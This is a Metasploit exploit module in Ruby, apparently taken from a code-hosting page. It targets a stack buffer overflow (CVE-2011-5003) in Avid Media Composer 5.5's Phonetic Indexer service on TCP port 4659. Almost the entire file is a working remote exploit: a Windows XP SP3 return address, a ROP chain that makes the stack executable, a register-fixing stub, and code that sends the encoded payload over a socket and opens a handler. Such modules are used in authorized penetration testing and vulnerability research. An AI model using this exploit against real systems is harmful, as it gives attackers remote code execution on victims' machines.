114 lines
3.2 KiB
Ruby
114 lines
3.2 KiB
Ruby
##
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
# web site for more information on licensing and terms of use.
|
|
# http://metasploit.com/
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = NormalRanking
|
|
|
|
include Msf::Exploit::Remote::Tcp
|
|
|
|
def initialize(info={})
|
|
super(update_info(info,
|
|
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Buffer Overflow",
|
|
'Description' => %q{
|
|
This module exploits a stack buffer overflow in process
|
|
AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
|
|
5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
|
|
it standalone it will run on port 4660.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'vt [nick.freeman@security-assessment.com]',
|
|
],
|
|
'References' =>
|
|
[
|
|
['CVE', '2011-5003'],
|
|
['OSVDB', '77376'],
|
|
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
|
|
],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 1012,
|
|
'BadChars' => "\x00\x09\x0a\x0d\x20",
|
|
'DisableNops' => true,
|
|
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
|
|
'EncoderOptions' =>
|
|
{
|
|
'BufferRegister' => 'EAX',
|
|
}
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' =>
|
|
[
|
|
[
|
|
'Windows XP Professional SP3',
|
|
{
|
|
'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
|
|
}
|
|
],
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => "Nov 29 2011",
|
|
'DefaultTarget' => 0))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(4659),
|
|
], self.class)
|
|
end
|
|
|
|
def exploit
|
|
rop_gadgets = [
|
|
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
|
|
# a non-sayonara ROP would be super easy too, I'm just lazy :)
|
|
0x7C344CC1, # pop eax;ret;
|
|
0x7C3410C2, # pop ecx;pop ecx;ret;
|
|
0x7C342462, # xor chain; call eax {0x7C3410C2}
|
|
0x7C38C510, # writeable location for lpflOldProtect
|
|
0x7C365645, # pop esi;ret;
|
|
0x7C345243, # ret;
|
|
0x7C348F46, # pop ebp;ret;
|
|
0x7C3487EC, # call eax
|
|
0x7C344CC1, # pop eax;ret;
|
|
0xfffffbfc, # {size}
|
|
0x7C34D749, # neg eax;ret; {adjust size}
|
|
0x7C3458AA, # add ebx, eax;ret; {size into ebx}
|
|
0x7C3439FA, # pop edx;ret;
|
|
0xFFFFFFC0, # {flag}
|
|
0x7C351EB1, # neg edx;ret; {adjust flag}
|
|
0x7C354648, # pop edi;ret;
|
|
0x7C3530EA, # mov eax,[eax];ret;
|
|
0x7C344CC1, # pop eax;ret;
|
|
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
|
|
0x7C355AEB, # sub eax,30;ret;
|
|
0x7C378C81, # pushad; add al,0xef; ret;
|
|
0x7C36683F, # push esp;ret;
|
|
].pack("V*")
|
|
|
|
# need to control a buffer reg for the msf gen'd payload to fly. in this case:
|
|
bufregfix = "\x8b\xc4" # MOV EAX,ESP
|
|
bufregfix += "\x83\xc0\x10" # ADD EAX,10
|
|
|
|
connect
|
|
sploit = ''
|
|
sploit << rand_text_alpha_upper(216)
|
|
sploit << [target.ret].pack('V*')
|
|
sploit << "A"*732 #This avoids a busted LoadLibrary
|
|
sploit << rop_gadgets
|
|
sploit << bufregfix
|
|
sploit << "\xeb\x09"
|
|
sploit << rand_text_alpha_upper(9)
|
|
sploit << payload.encoded
|
|
sock.put(sploit)
|
|
handler
|
|
disconnect
|
|
end
|
|
|
|
end
|